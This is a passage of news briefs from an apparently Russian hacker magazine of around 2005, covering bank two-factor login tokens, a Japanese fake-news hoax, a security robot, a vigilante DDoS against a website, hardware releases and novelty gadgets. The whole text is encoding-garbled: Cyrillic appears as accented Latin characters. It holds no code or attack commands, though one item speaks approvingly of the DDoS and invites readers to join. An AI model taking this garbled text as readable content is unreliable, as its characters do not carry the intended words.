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ÀÂÒÎÐÈÇÀÖÈÞ

Ïðîøëè òå âðåìåíà, êîãäà äëÿ ïîäáî-
ðà ïàðîëÿ ïî ñëîâàðþ èç òðåõ ñëîâ:
God, Love, Sex, áûëî äîñòàòî÷íî äëÿ
ïðîíèêíîâåíèÿ â áàíêîâñêóþ ñèñòå-
ìó. Ñåé÷àñ äëÿ àâòîðèçàöèè èñïîëü-
çóåòñÿ ëîãèí è àâòîìàòè÷åñêè ñãåíå-
ðèðîâàííûé ïàðîëü. Íî è ýòîãî, ïî
ìíåíèþ ïðàâèòåëüñòâà ÑØÀ, íåäîñ-
òàòî÷íî. Ó÷àñòèâøèåñÿ ñëó÷àè ýëåêò-
ðîííûõ ãðàáåæåé, çàñòàâèëè èñêàòü
íîâûå ñïîñîáû çàùèòû. Â ñëåäóþ-
ùåì ãîäó òàêèì ñïîñîáîì ñòàíåò ôè-
çè÷åñêîå ïîäòâåðæäåíèå ñâîåé ëè÷-
íîñòè, òî åñòü ñ ïîìîùüþ ïîðòàòèâ-

íûõ óñòðîéñòâ. ×òî ýòî áóäóò çà óñòðîéñòâà ïîêà íå ÿñíî: òî ëè ñïåöèàëüíûå
ñìàðò-êàðòû, òî ëè äåâàéñû, èñïîëüçóþùèå áèîìåòðè÷åñêóþ òåõíîëîãèþ, à
ìîæåò, õàðäâàðíûé ãåíåðàòîð ïàðîëåé. Ñåé÷àñ êàê ðàç èäåò ðàçðàáîòêà îïòè-
ìàëüíîé ñèñòåìû. Åå âíåäðåíèå ïðîèçîéäåò â êîíöå 2006 ãîäà. Îæèäàåòñÿ,
÷òî âñå êîìïüþòåðû, íà êîòîðûõ ïðîèçâîäÿòñÿ ôèíàíñîâûå îïåðàöèè, áóäóò
ïîñòàâëÿòüñÿ ñ òàêèì óñòðîéñòâîì. Ñòîïðîöåíòíóþ çàùèòó îíî, êîíå÷íî, íå
äàñò, íî âçëîìàòü áàíêîâñêóþ ñèñòåìó òåïåðü ñòàíåò çíà÷èòåëüíî ñëîæíåå.
Êñòàòè, áðèòàíñêèé áàíê Lloyds TSB ñàìîñòîÿòåëüíî ðåøèë áîðîòüñÿ çà
ñâîþ áåçîïàñíîñòü è ðàçðàáîòàë äëÿ ñâîèõ êëèåíòîâ ñïåöèàëüíûé áðåëîê ñ
ÆÊ ýêðàíîì, êîòîðûé ãåíåðèðóåò øåñòèçíà÷íûé êîä, äåéñòâóþùèé òîëüêî
30 ñåêóíä. Åãî íóæíî áóäåò ââîäèòü âìåñòå ñ îáû÷íûì ëîãèíîì è ïàðîëåì.
Áðåëîê íàõîäèòñÿ íà ýòàïå òåñòèðîâàíèÿ, à ñàìà òåõíîëîãèÿ óæå ïðèìåíÿåò-
ñÿ â íåêîòîðûõ áàíêàõ Àçèè, Ñêàíäèíàâèè è Àâñòðàëèè. 

ÊÈÒÀÉ 
ÏÐÎÒÈÂ ÎÊÈÍÀÂÛ
Åñòü â ðóíåòå ñàéò Ëàïøà.ðó, â êîòîðîì ïóáëèêóþòñÿ íîâîñòè, ïî ñëî-
âàì àâòîðîâ, ýêñêëþçèâíûå, âçÿòûå èç íåçàâèñèìûõ è ïðîâåðåííûõ èñ-
òî÷íèêîâ. Òèïà: «Êèðêîðîâ æåíèëñÿ íà Áðèòíè Ñïèðñ, ó íèõ ðîäèëñÿ
ðûæèé íåãð». Êàê îêàçàëîñü, â ßïîíèè òîæå òàêèõ ñàéòîâ õâàòàåò. Îäèí
èç íèõ ïîëíîñòüþ êîïèðóåò Yahoo Japan, òîëüêî êîíòåíò äàåò íåìíîãî
äðóãîé. 18 îêòÿáðÿ ýòîò ñàéò îïóáëèêîâàë íîâîñòü î òîì, ÷òî êèòàéñêàÿ
àðìèÿ âîðâàëàñü â âîçäóøíîå ïðîñòðàíñòâî íàä ÿïîíñêèì îñòðîâîì
Îêèíàâà, ÿâíî ÷òîáû íå ÷àéêó ïîïèòü. Èñòî÷íèêîì èíôîðìàöèè ÿêîáû
âûñòóïèë êîððåñïîíäåíò àìåðèêàíñêîãî èíôîðìàöèîííîãî àãåíòñòâà
Kyado News. Ñòîèò ëè ãîâîðèòü, ÷òî íè íàñòîÿùåìó Yahoo Japan, íè ðå-
àëüíîìó Kyado News ýòà «íåâèííàÿ øóòêà» íå ïîíðàâèëàñü. Íå ãîâîðÿ
óæå î òîì, ÷òî ìåæäó Êèòàåì è ßïîíèåé ñåé÷àñ è áåç òîãî íå ñàìûå òåï-
ëûå îòíîøåíèÿ. Äîïîëíèòåëüíóþ îñòðîòó ñèòóàöèè äîáàâëÿåò òîò ôàêò,

÷òî íà Îêèíàâå íàõî-
äèòñÿ êðóïíàÿ àìåðè-
êàíñêàÿ âîåííàÿ áà-
çà, à â Ïåêèí êàê ðàç
ïîæàëîâàë ñ îôèöè-
àëüíûì âèçèòîì ìè-
íèñòð îáîðîíû ÑØÀ
Äîíàëüä Ðàñìôåëä.
Ïîïàõèâàåò òðåòüåé
ìèðîâîé. ×òîáû èçáå-
æàòü íåäîðàçóìåíèé,
Yahoo è Kyado ïåðâûì
äåëîì îáðàòèëèñü ê
ïðîâàéäåðó, õîñòÿùå-
ìó èñòî÷íèê ïðîâîêà-
öèè ñ òðåáîâàíèåì åãî
ïðèêðûòü, à âòîðûì �
ñòàëè ãîòîâèòü äîêó-
ìåíòû â ñóä, ÷òîáû îòñ-
òîÿòü ñâîå äîáðîå èìÿ. 

HITECHNEWS ][NEWS 

ÒÅÐÌÈÍÀÒÎÐ
ßïîíñêàÿ ôèðìà ñ òðóäíîïðîèçíîñèìûì íàçâàíèåì Tmsuk ðàçðà-
áîòàëà óíèêàëüíîãî ðîáîòà-îõðàííèêà, íàçâàííîãî Artemis (ïðÿìî
êàê îäíîèìåííûé çëîäåé-óáèéöà èç êóëüòîâûõ ðàññêàçîâ Ñàëüâà-
òîðå � ïðèì. Ëîçîâñêîãî). Ïî çàäóìêå ïðîèçâîäèòåëåé ðîáîò äîë-
æåí ñàìîñòîÿòåëüíî ðàçëè÷àòü, êòî ïðåä íèì íàõîäèòñÿ � çàêîíî-
ïîñëóøíûé ÷åëîâåê èëè ïðåñòóïíèê, è åñëè ñóáúåêò, ïî ìíåíèþ ðî-
áîòà, îêàçûâàåòñÿ âñå æå íåäîáðîïîðÿäî÷íûì, òî ïûòàòüñÿ åãî çà-
äåðæàòü, âûïóñêàÿ ñïåöèàëüíûé ãàç è îáñòðåëèâàÿ øàðèêàìè ñ
îñîáûìè ÷åðíèëàìè. 
Åñòåñòâåííî, êàê âåëè÷àéøåå äîñòèæåíèå ïðîãðåññà ðîáîòà ðåøè-
ëè ñðàçó æå ïîçíàêîìèòü ñ ÿïîíñêèì ïðåìüåð-ìèíèñòðîì Äçþíúè-
òèðî Êîèäçóìè. Íî òóò-òî è íà÷àëîñü ñàìîå èíòåðåñíîå. Åùå èçäà-
ëåêà çàâèäåâ âûñîêîïîñòàâëåííîå ëèöî, èñêóññòâåííûé èíòåëëåêò
ñðàçó íàìåòèë ñåáå öåëü, è êàê òîëüêî ïðåìüåð-ìèíèñòð îêàçàëñÿ
â ðàäèóñå ïîðàæåíèÿ, ñðàçó ïðèìåíèë âñå èçâåñòíûå åìó ïðèåìû
çàäåðæàíèÿ. Ê ñ÷àñòüþ, íèêòî íå ïîñòðàäàë, à ðîáîòà áûñòðî îòê-
ëþ÷èëè. Âîò òîëüêî ÷òî-òî ìíå íå âåðèòñÿ, ÷òî ýòî áûëà ñëó÷àé-
íîñòü, è ðîáîò ïðîñòî îáîçíàëñÿ. Âåäü íàëèöî îòêðîâåííàÿ ïîïûò-
êà íàñèëüñòâåííîãî ñâåðæåíèÿ âëàñòè, ïðîñòî æåëåçíûé áîëâàí
ïåðåîöåíèë ñâîè ñèëû. À ÷òî åñëè åìó áû äîâåðèëè, íàïðèìåð,
ìíîãîñòâîëüíûé ïóëåìåò? Òàê ÷òî íå äàâàéòå ðîáîòàì îðóæèå. Ðî-
áîòó ìåñòî íà êóõíå! À òî æäåò íàñ ïå÷àëüíîå áóäóùåå, ïðèìåðíî,
êàê â ôèëüìå «Òåðìèíàòîð». 
Íàâåðíîå, íå çðÿ áîëüøèíñòâî ôàíòàñòè÷åñêèõ ðàññêàçîâ ïðî ðîáî-
òîâ, íàäåëåííûõ èíòåëëåêòîì è îðóæèåì, îáû÷íî çàêàí÷èâàåòñÿ
î÷åíü ïå÷àëüíî. Äëÿ ëþäåé, êîíå÷íî ;).





[X
À

Ê
Å

Ð
1

1
 [

8
3

] 
0

5
 >

Í
Ü

Þ
Ñ

Û
0

1
2

] ÐÓÑÑÊÈÅ 
ÕÀÊÅÐÛ ÁÎÐÞÒÑß 
Ñ ÒÅÐÐÎÐÈÇÌÎÌ
Â ñåðåäèíå îêòÿáðÿ â Ñåòè ïîÿâèëñÿ íîâûé ðóññêèé ñàéò peace4peace.com,
öåëüþ êîòîðîãî ÿâëÿåòñÿ àêòèâíàÿ áîðüáà ñ òåððîðèçìîì. Åñëè ñïåöñëóæ-
áû äåëàþò ýòî ñâîèìè ìåòîäàìè, òî àâòîðû ñàéòà áóäóò áîðîòüñÿ ñ óíè÷-
òîæåíèåì ñåòåâûõ èñòî÷íèêîâ çëà, òàêèõ êàê íåáåçûçâåñòíûé www.kavkaz-
center.com è åãî ìíîãî÷èñëåííûå çåðêàëà. Ïîâîäîì äëÿ ïîÿâëåíèÿ ñàéòà
«Àíäåãðàóíä ïðîòèâ òåððîðèçìà» ñòàëè ñîîáùåíèÿ íà Êàâêàç-öåíòðå î
íåäàâíèõ ñîáûòèÿõ â Íàëü÷èêå, â êîòîðûõ çàõâàò÷èêîâ íàçûâàþò îñâîáî-
äèòåëÿìè, à ìåñòíûå âëàñòè � îêêóïàíòàìè. Ïî ìíåíèþ àíäåãðàóíäà, òà-
êèå ñàéòû âåäóò ëæèâóþ òåððîðèñòè÷åñêóþ ïðîïàãàíäó è íå èìåþò ïðàâà
íà ñóùåñòâîâàíèå. Íåñìîòðÿ íà òî, ÷òî áîðöû ñ òåððîðîì òîëüêî íåäàâíî
íà÷àëè ñâîþ äåÿòåëüíîñòü, èì óæå óäàëîñü ïðèâëå÷ü íà ñâîþ ñòîðîíó íå-
ìàëî ëþäåé, à òàêæå îðãàíèçîâàòü ìàññèðîâàííóþ DDoS-àòàêó íà Êàâêàç-
öåíòð, â ðåçóëüòàòå êîòîðîé òîò ñëåã. Peace4peace.com èìååò ñâîé ôîðóì,

ãäå ìîæíî îáñóäèòü
ýôôåêòèâíûå ñïîñîáû
àíòèòåððîðèñòè÷åñêîé
áîðüáû, çàïèñàòüñÿ â
ðÿäû äîáðîâîëüöåâ. Ñó-
äÿ ïî âñåìó, ðåáÿòà âçÿ-
ëèñü çà äåëî ñåðüåçíî,
òàê ÷òî åñëè ó òåáÿ
åñòü æåëàíèå ïîïîð-
òèòü òåððîðèñòàì êðî-
âóøêè � äóé ïî ññûë-
êå è èçó÷àé òàìîøíèé
ïîñòóëàò.

ÄÅÍÜ ÎÒÊÀÇÀ 
ÎÒ ÈÍÒÅÐÍÅÒÀ
Ïîêà â Êîðåå ââîäÿò òðåõ÷àñîâûå ëèìèòû íà ïîëüçîâàíèå Èíòåðíåòîì, à â
Êèòàå õîðîíÿò íåïîíÿòíî óæå êàêîãî ïî ñ÷åòó âûäîõøåãîñÿ ó êîìïüþòåðà
ãåéìåðà, Áðèòàíèÿ íà÷èíàåò ââîäèòü äåíü «ðèàëëàéôà». 21 îêòÿáðÿ ñîòðóä-
íèêè íåñêîëüêèõ àíãëèéñêèõ êîìïàíèé â êà÷åñòâå ïðîòåñòà ïðîòèâ ìàññîâî-
ãî êîìïüþòåðíîãî ïñèõîçà ðåøèëè îòêàçàòüñÿ îò ïîëüçîâàíèÿ Ñåòüþ è îá-
ùàòüñÿ èñêëþ÷èòåëüíî ðå÷üþ. Âïðî÷åì, èíèöèàòèâà èñõîäèëà íå îò íèõ, à îò
èõ ðóêîâîäñòâà, êîòîðîå ñ÷èòàåò, ÷òî ñëóæàùèå ñîâñåì äâèíóëèñü, ðàçãîâà-
ðèâàÿ ñ ðÿäîì ñèäÿùèìè êîëëåãàìè ïî å-ìåéëó è ïðåäïî÷èòàÿ ëåïèòü ñìàé-
ëèêè âìåñòî ïðèâû÷íûõ óëûáîê. Ïî ðåçóëüòàòàì èññëåäîâàíèé, ïîñëå äëè-
òåëüíîãî ñåòåâîãî îáùåíèÿ, þçåðû íà÷èíàþò èñïûòûâàòü ïðîáëåìû ñ îáùå-
íèåì ðåàëüíûì, ïîýòîìó, ïî ìíåíèþ ðóêîâîäèòåëåé Sport England, ïîäîáíûå
«ðàçðÿäêè» íóæíî ïðîâîäèòü ðåãóëÿðíî, õîòÿ áû ðàç â íåäåëþ. Ïîíà÷àëó
îôèñíûå ðàáîòíèêè îòíåñëèñü ê ýêñïåðèìåíòó ñ ýíòóçèàçìîì, íî ê êîíöó ðà-
áî÷åãî äíÿ, íå âûäåðæàâ, íåò-íåò äà çàãëÿäûâàëè â ìîíèòîð. Íî Sport
England íàäåæäû íå òåðÿåò è ïëàíèðóåò èç õèëûõ, ïàññèâíûõ àíãëè÷àí, ñòàâ-
øèõ òàêèìè èç-çà êîìïüþòåðîâ, âîñïèòàòü ôèçè÷åñêè çäîðîâûõ ëþäåé.

][NEWS

SATA II ÂÕÎÄÈÒ 
Â ÍÀØÈ ÏÊ
Äâà êðóïíûõ ïðîèçâîäèòåëÿ ñèñòåì õðàíåíèÿ äàííûõ � Maxtor è
Seagate � îáúÿâèëè î âûïóñêå âèí÷åñòåðîâ ñ èíòåðôåéñîì SATA II. Îíè
õàðàêòåðèçóþòñÿ âûñîêîé ïðîïóñêíîé ñïîñîáíîñòüþ (3 Ãá/ñ), áîëüøèìè
åìêîñòÿìè è ïðèìåíåíèåì â íèõ ïîñëåäíèõ òåõíîëîãèé. Èçäåëèÿ Maxtor
íàçûâàþòñÿ MaxLine III è èìåþò ñêîðîñòü âðàùåíèÿ øïèíäåëÿ 7200
RPM, åìêîñòü äî 300 Ãáàéò, áóôåð äî 16 Ìáàéò è ïîëíîöåííûé íàáîð
âîçìîæíîñòåé SATA II, âêëþ÷àÿ NCQ, ïîñòåïåííûé çàïóñê øïèíäåëÿ, ãî-
ðÿ÷åå ïîäêëþ÷åíèå è âîññòàíîâëåíèå àñèíõðîííîãî ñèãíàëà. Ó Seagate
òàêèå âèí÷åñòåðû âõîäÿò â ñåìåéñòâî Barracuda 7200.9. Ïëîòíîñòü çàïè-
ñè íà íèõ äîñòèãàåò óðîâíÿ 160 Ãá íà îäíîé ïëàñòèíå, à îáùàÿ åìêîñòü
âèí÷åñòåðîâ ñòàíîâèòñÿ ðàâíîé 500 Ãá. Îáúåì áóôåðà ìîæåò ðàâíÿòüñÿ
16 Ãá. Ïîìèìî âñåãî
âûøåïåðå÷èñëåííîãî,
áûëà äîïîëíåíà è àï-
ïàðàòíàÿ ÷àñòü � íî-
âàÿ ñèñòåìà êðåïëå-
íèÿ êàáåëåé è ñîåäè-
íèòåëåé, à òàêæå àýðî-
äèíàìè÷åñêèå øëåéôû.
Â îáùåì, åñòü êóäà òå-
ïåðü çàïèñûâàòü êàðòèí-
êè è ïðî÷èå æèçíåííûå
ðàäîñòè.

×ÈÏÑÅÒ ÎÒ VIA ÄËß
ÍÅÄÎÐÎÃÈÕ ÌÀÒÏËÀÒ

Êîìïàíèÿ VIA îáúÿâèëà î âûïóñêå íîâîãî ÷èïñåòà, êîòîðûé áóäåò
ïîëíîñòüþ îòâå÷àòü ñîîòâåòñòâóþùèì òðåáîâàíèÿì, ïðåäúÿâëÿåìîé
áóäóùåé îïåðàöèîííîé ñèñòåìîé Windows Vista ê ïîäîáíûì óñòðîé-
ñòâàì. Îí îñíàùåí âñòðîåííûì ãðàôè÷åñêèì ÿäðîì, ðàáîòàþùèì ñ
DirectX 9.0 è ïèêñåëüíûìè øåéäåðàìè âåðñèè 2.0 è èìåþùèì HDTV-
âèäåîâûõîä. Åñëè òàêîå ðåøåíèå òåáÿ íå óñòðîèò, òî ìîæåøü óñòà-
íîâèòü âíåøíþþ PCI-Express ïëàòó, áëàãî ñîîòâåòñòâóþùèé ðàçúåì
òóò åñòü. Åñòåñòâåííî, èìååòñÿ è âñòðîåííîå àóäèî íà ÷èïå VIA Vinyl
HD Audio. Êðîìå òîãî, âñòðîåííûå óñòðîéñòâà ïðåäñòàâëåíû ãèãà-
áèòíûì ñåòåâûì êîíòðîëëåðîì è êîíòðîëëåðîì SATA II RAID (óðîâ-
íè 0, 1, 0+1, 5 è JBOD). Åñòü âîçìîæíîñòü óñòàíàâëèâàòü PATA-äèñ-
êè, à òàêæå ïðîãðàììíûé ìîäåì èìååòñÿ. Íàëè÷èå âñòðîåííîé ãðà-
ôèêè ÿâíî óêàçûâàåò íà òî, ÷òî ýòîò ÷èïñåò áóäåò èñïîëüçîâàòüñÿ â
íåäîðîãèõ ñèñòåìíûõ ïëàòàõ. ×òî æ, æäåì èõ ïîÿâëåíèÿ.
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ÊÓÂÀËÄÀ 
ÄËß ÊËÀÂÈÀÒÓÐÛ
Àìåðèêàíñêèé èññëåäîâàòåëü Taylor Hokanson ñîîðóäèë íà äîñóãå ñî-
âåðøåííî óíèêàëüíóþ êëàâèàòóðó. Ïî ðàçìåðó ýòî óñòðîéñòâî ñîïîñòà-
âèìî ñ âíóøèòåëüíûì ñòîëîì, à êàæäàÿ êëàâèøà íåìíîãî ìåíüøå íå-
áîëüøîãî âåäðà. Ïå÷àòàòü íà äàííîé êëàâèàòóðå ìîæíî òîëüêî ïðè ïî-
ìîùè êóâàëäû èëè äðóãîãî ìàññèâíîãî èíñòðóìåíòà, êñòàòè, êíîïêè çà-
ùèùåíû òîëñòûì ñëîåì ðåçèíû, òàê ÷òî ïðîñòî òàê ñëîìàòü èõ íå
óäàñòñÿ. Êëàâèàòóðà ñòàíäàðòíûì ñïîñîáîì ïîäêëþ÷àåòñÿ ê êîìïüþ-
òåðó, à èçîáðàæåíèå âûâîäèòñÿ ÷åðåç ïðîåêòîð íà îãðîìíûé ýêðàí, óñ-
òàíîâëåííûé íåïîäàëåêó. Êîíå÷íî, ñîçäàòåëü íå ïðåñëåäîâàë ñâîèì
èçîáðåòåíèåì êàêîé-ëèáî ïðàêòè÷åñêîé öåëè, à õîòåë ëèøü èðîíè÷íî

ñðàâíèòü ðàáîòó íà êîìïüþòåðå ñ
äîèñòîðè÷åñêèìè âðåìåíàìè, êîã-
äà íàäïèñè âûäàëáëèâàëèñü ïîä-
ðó÷íûìè ñðåäñòâàìè íà êàìíÿõ è
ñêàëàõ. Âäîâîëü íàèãðûâàâøèñü â
äîìàøíèõ óñëîâèÿõ, Taylor âûñòà-
âèë êëàâèàòóðó íà âñåîáùåå îáîç-
ðåíèå, è òåïåðü ïîïðîáîâàòü íàïå-
÷àòàòü ïàðó ñòðîê ìîæåò ëþáîé
æåëàþùèé, çàåõàâøèé â ×èêàãî.

ÁÓÄÈËÜÍÈÊ-ÃÐÀÍÀÒÀ
Åñëè òåáå ïðèõîäèòñÿ ïî óòðàì êîãî-òî åùå áóäèòü, òî òû, íàâåðíîå, ïðåäñ-
òàâëÿåøü íàñêîëüêî ýòî ìóòîðíûé ïðîöåññ. Îòíûíå âñå ñòàíåò íàìíîãî
ïðîùå. Âñåãî çà $9.99 â ïðîäàæå ïîÿâèëîñü óíèâåðñàëüíîå ðåøåíèå � øó-
ìîâàÿ ãðàíàòà. Òåïåðü ïðîöåññ «ïðîáóæäåíèÿ» áóäåò ïðîõîäèòü íàìíîãî
ïðîùå è áûñòðåå. Äîñòàòî÷íî ïðîñòî ïîäêðàñòüñÿ ê äâåðè, êðèêíóòü çàó÷åí-
íóþ ïî Counter Strike ôðàçó: Fire in
the hole!, âûäåðíóòü ÷åêó è çàêèíóòü
ãðàíàòó â äâåðíîé ïðîåì. ×åðåç 20
ñåêóíä àäñêàÿ ìàøèíà èçäàñò îãëó-
øèòåëüíûé ïèñê, ãðîìêîñòü êîòîðî-
ãî áóäåò ïîñòåïåííî ëèøü íàðàñ-
òàòü. Ìîæåøü áûòü óâåðåí, ÷òî ÷å-
ðåç íåñêîëüêî ñåêóíä ïîñëå ýòîãî,
ñîíÿ ïóëåé âûñêî÷èò èç ñâîåé êîì-
íàòû. Ïðè÷åì çàòêíóòü ãðàíàòó ìîæ-
íî ëèøü îäíèì ñïîñîáîì � âñòà-
âèòü ÷åêó îáðàòíî, íó èëè âûêèíóòü
ãðàíàòó â îêíî è ñïàòü äàëüøå �

ÒÅÏËÀß ÊËÀÂÈÀÒÓÐÀ
Òîëüêî â ïðåäûäóùåì íîìåðå ìû ïèñàëè ïðî ñîãðåâàþùóþ ðóêàâèöó
äëÿ ìûøè, êàê íàñ óæå ñïåøàò ïîðàäîâàòü íîâûì óñòðîéñòâîì. Íà ýòîò
ðàç âûäåëèëàñü ôèðìà E-Trends, ðàçðàáîòàâ ïåðâóþ â ìèðå êëàâèàòóðó
ñ ïîäîãðåâîì. Äåâàéñ ìîæåò ðàáîòàòü â òðåõ ðåæèìàõ: îòñóòñòâèå ïîäîã-
ðåâà (äëÿ ëåòà, íàâåðíîå), ñëàáûé ïîäîãðåâ � îò 85 äî 90 ãðàäóñîâ (äëÿ
ïîçäíåé îñåíè è ðàííåé âåñíû) è ñèëüíûé ïîäîãðåâ � îò 95 äî 100 ãðà-
äóñîâ (äëÿ çèìû). ×òîáû âî âðåìÿ ðàáîòû èç-çà ïåðåãðåâà êëàâèàòóðà
íå ðàñïëàâèëàñü, åå ïðîèçâîäÿò èç âûñîêîêà÷åñòâåííîãî æàðîïðî÷íîãî
ìàòåðèàëà. Ôóíêöèè ïîäîãðåâà ïîåäàåò íå òàê ìíîãî äîïîëíèòåëüíîé
ýíåðãèè, à ÷òîáû òåáÿ â ñëó÷àå ÷åãî íå óäàðèëî òîêîì, ê ñàìîé êëàâèà-
òóðå ïîäâîäèòñÿ íèçêîå íàïðÿæåíèå (íå áîëåå 20 âîëüò). Ê êîìïüþòåðó
äåâàéñ ïîäêëþ÷àåòñÿ ïî øèíå USB, îäíàêî, ÷òîáû ðàáîòàëî îòîïëåíèå,
ïðèäåòñÿ ïîäêëþ÷èòü åå åùå è ê ðîçåòêå, ÷åðåç íåáîëüøîé âíåøíèé
áëîê ïèòàíèÿ. Äîïîëíèòåëüíûé áî-
íóñ � ýòî ñïîñîáñòâóåò è íîðìàëü-
íîé öèðêóëÿöèè êðîâè â íàòðóæåí-
íûõ ïàëüöàõ. Êñòàòè, êëàâèàòóðà
óæå âîâñþ ïðîäàåòñÿ, ïðè÷åì ïî
äîâîëüíî ðàçóìíîé öåíå � 50 áàê-
ñîâ ìèíóñ 1 öåíò.

ÃÎÍÊÈ ÐÎÁÎÒÎÂ-
ÀÂÒÎÌÎÁÈËÅÉ
Óæå âòîðîé ãîä ïîäðÿä àìåðèêàíñêîå èññëåäîâàòåëüñêîå àãåíòñòâî
DARPA (Defense Advanced Research Projects Agency) ïðîâîäèò ñîðåâíî-
âàíèå Grand Challenge, ó÷àñòíèêè êîòîðîãî � ïîëíîñòüþ àâòîíîìíûå
ðîáîòû-àâòîìîáèëè. Â çàäà÷è ìàøèí âõîäèò ïðåîäîëåòü áåç ïîñòîðîí-
íåé ïîìîùè 212-òè êèëîìåòðîâóþ òðàññó ïî ïóñòûíå Íåâàäà. Ïðè ýòîì
ðîáîòîâ ñïåöèàëüíî ñòàâÿò â òÿæåëûå óñëîâèÿ � âîêðóã òèïè÷íîå áåç-
äîðîæüå � òàê ÷òî âðåçàòüñÿ, ïåðåâåðíóòüñÿ èëè âúåõàòü â ãëóáîêóþ
ÿìó ìîæíî ïðàêòè÷åñêè íà êàæäîì øàãó. Ïîæàëóé, ñ òàêîé ïîåçäî÷êîé
ñïðàâèëñÿ áû äàæå íå êàæäûé îïûòíûé âîäèòåëü. Âïðî÷åì, òàêîâû óñ-
ëîâèÿ ñîðåâíîâàíèÿ, òåì áîëåå ñîëèäíûé êóø ïîáåäèòåëþ â ðàçìåðå
äâóõ ìèëëèîíîâ äîëëàðîâ âñå-òàêè ìîæåò çàñòàâèòü êîìàíäû ñåðüåçíî
ïîðàáîòàòü íàä èñêóññòâåííûì èíòåëëåêòîì ñîáñòâåííûõ äåòèù. Êñòà-
òè, â ïðîøëîì ãîäó äî ôèíèøà íè îäèí èç àâòîìîáèëåé òàê è íå äîáðàë-
ñÿ, ìàêñèìóì, íà ÷òî áûëè ñïîñîáíû ëó÷øèå ìàøèíû òîãî ãîäà, òàê ýòî
ñìåõîòâîðíûå 5% äèñòàíöèè. À âîò ñîðåâíîâàíèÿ ýòîãî ãîäà îêàçàëèñü
êóäà áîëåå óñïåøíûìè, ôèíèøíóþ ÷åðòó ñìîãëè ïåðåñå÷ü ñðàçó ÷åòûðå
ýêèïàæà, ïðè÷åì âçÿë ïåðâåíñòâî ñ ðåçóëüòàòîì â 6 ÷àñîâ è 54 ìèíóòû
ðîáîò ïî êëè÷êå Stanley, ñîçäàííûé íà îñíîâå äæèïà Volkswagen
Touareg. Îðãàíèçàòîðû ñîðåâíîâàíèÿ áûëè î÷åíü äîâîëüíû èñõîäîì, è
áåç ìàëåéøåãî ñîæàëåíèÿ ðàññòàëèñü ñ îáåùàííîé ñóììîé, ïåðåäàâ åå
êîìàíäå ïîáåäèòåëÿ èç Ñòåíôîðäñêîãî Óíèâåðñèòåòà.

ÌÎÁÈËÜÍÈÊ-ÊÎËÜÖÎ
Íà åæåãîäíîé âûñòàâêå CEATAC, ïðîõîäÿùåé â ßïîíèè, èçâåñòíûé
îïåðàòîð ñîòîâîé ñâÿçè NTT DoCoMo ïðåäñòàâèë âåñüìà îðèãèíàëüíîå
hands-free óñòðîéñòâî, âûïîëíåííîå â ôîðìå êîëüöà. Êîíå÷íî, êîëüöîì
íàçâàòü òàêóþ çäîðîâåííóþ øòóêó ìîæíî ðàçâå ÷òî óñëîâíî, äà è òî
òîëüêî ïîòîìó, ÷òî îíî íàäåâàåòñÿ íà ïàëåö. Óïðàâëåíèå ãàðíèòóðîé
îñóùåñòâëÿåòñÿ äîâîëüíî ñòðàííûì ñïîñîáîì, îíà, íàïðèìåð, âîñïðè-
íèìàåò êàê ñèãíàë, åñëè òû ñîåäèíèøü ìåæäó ñîáîé äâà ïàëüöà èëè æå
ïîñòó÷èøü ïàëüöåì ïî óõó. Ñâÿçü ñ ñîòîâûì òåëåôîíîì ïðîèçâîäèòñÿ
÷åðåç êàíàë Bluetooth, ìèêðîôîí èäåò âñòðîåííûì, à âîò äèíàìèê êàê
òàêîâîé îòñóòñòâóåò. Äëÿ òîãî ÷òîáû óñëûøàòü, ÷òî òåáå êðè÷àò íà äðó-
ãîì êîíöå ïðîâîäà, ïðèäåòñÿ â áóêâàëüíîì ñìûñëå âñòàâèòü ïàëåö â
óõî. Âïðî÷åì, òàêàÿ òåõíîëîãèÿ èçâåñòíà óæå äàâíî, ïðîñòî ïðèìåíÿ-
ëàñü ðàíüøå äðóãèìè ñïîñîáàìè, êîëüöî ïðîñòî ïåðåäàåò âèáðàöèè
ïàëüöó, à óõî, â ñâîþ î÷åðåäü, âîñïðèíèìàåò èõ òî÷íî òàê æå, êàê îáû÷-
íûå çâóêîâûå âîëíû. Ê äîñòîèíñòâàì òàêîãî ïîäõîäà ðàçðàáîò÷èêè
ïðè÷èñëÿþò íèçêîå ýíåðãîïîòðåáëåíèå è òî, ÷òî ðàçãîâîð íåëüçÿ áóäåò

ïîäñëóøàòü. Ïðàâäà,  ÷åãî-òî ÿ
ãëóáîêî ñîìíåâàþñü, ÷òî òàêîé
ñïîñîá ñâÿçè ïðèäåòñÿ ïî äóøå
îäíîâðåìåííî âñåì ïîëüçîâàòå-
ëÿì, à îñîáåííî áðåçãëèâûì ëþ-
äÿì è äåâóøêàì ñ äëèííûìè íîã-
òÿìè. Òîãäà óæ íàäî áûëî ñðàçó
ñäåëàòü è îòäåëüíûé áåñïðîâîä-
íîé ìèêðîôîí, äåéñòâóþùèé ïî
ïðèíöèïó «äâà ïàëüöà â ðîò».





MAGIC: 
THE GATHERING: 
ÄÅÂßÒÀß ÂÅÐÑÈß 
ÍÀ ÄÅÂßÒÎÌ ßÇÛÊÅ
24 è 25 ñåíòÿáðÿ êîìïàíèÿ Wizards of the Coast ïðèâåòñòâîâàëà âñåõ
ïîêëîííèêîâ ÍÀÑÒÎßÙÅÉ ÌÀÃÈÈ â Íîâîì Ìàíåæå, ãäå ïî ñëó÷àþ çà-
ïóñêà 9-îé ðåäàêöèè Magic: The Gathering íà ðóññêîì ÿçûêå ïðîâîäè-
ëàñü ñåðèÿ ñïåöèàëüíûõ òóðíèðîâ. 
Ýòî áûëè íàñûùåííûå è íåçàáûâàåìûå âûõîäíûå! Â Ìîñêâó äëÿ ó÷àñ-
òèÿ â Òóðíèðå ïðèáûëè ñèëüíåéøèå èãðîêè ñî âñåãî ìèðà, ñðåäè íèõ 16
ñàìûõ çíàìåíèòûõ ïðîôåññèîíàëîâ èç Åâðîïû, Àçèè, Ñåâåðíîé è Þæ-
íîé Àìåðèêè, â òîì ÷èñëå 3 ÷åìïèîíà ìèðà èç Ãåðìàíèè è Íèäåðëàí-
äîâ, êîòîðûå ñûãðàëè ïðîòèâ 16 ñàìûõ ðåéòèíãîâûõ è èçâåñòíûõ èãðî-
êîâ èç Ðîññèè è Óêðàèíû.
Ïîáåäèòåëåì ÷åìïèîíàòà ïî ñëó÷àþ ðåëèçà ðóññêîãî èçäàíèÿ Magic:
The Gathering ñòàë ðîññèéñêèé èãðîê Ìàòâåé Ëèíîâ! Â ôèíàëüíîì ñî-
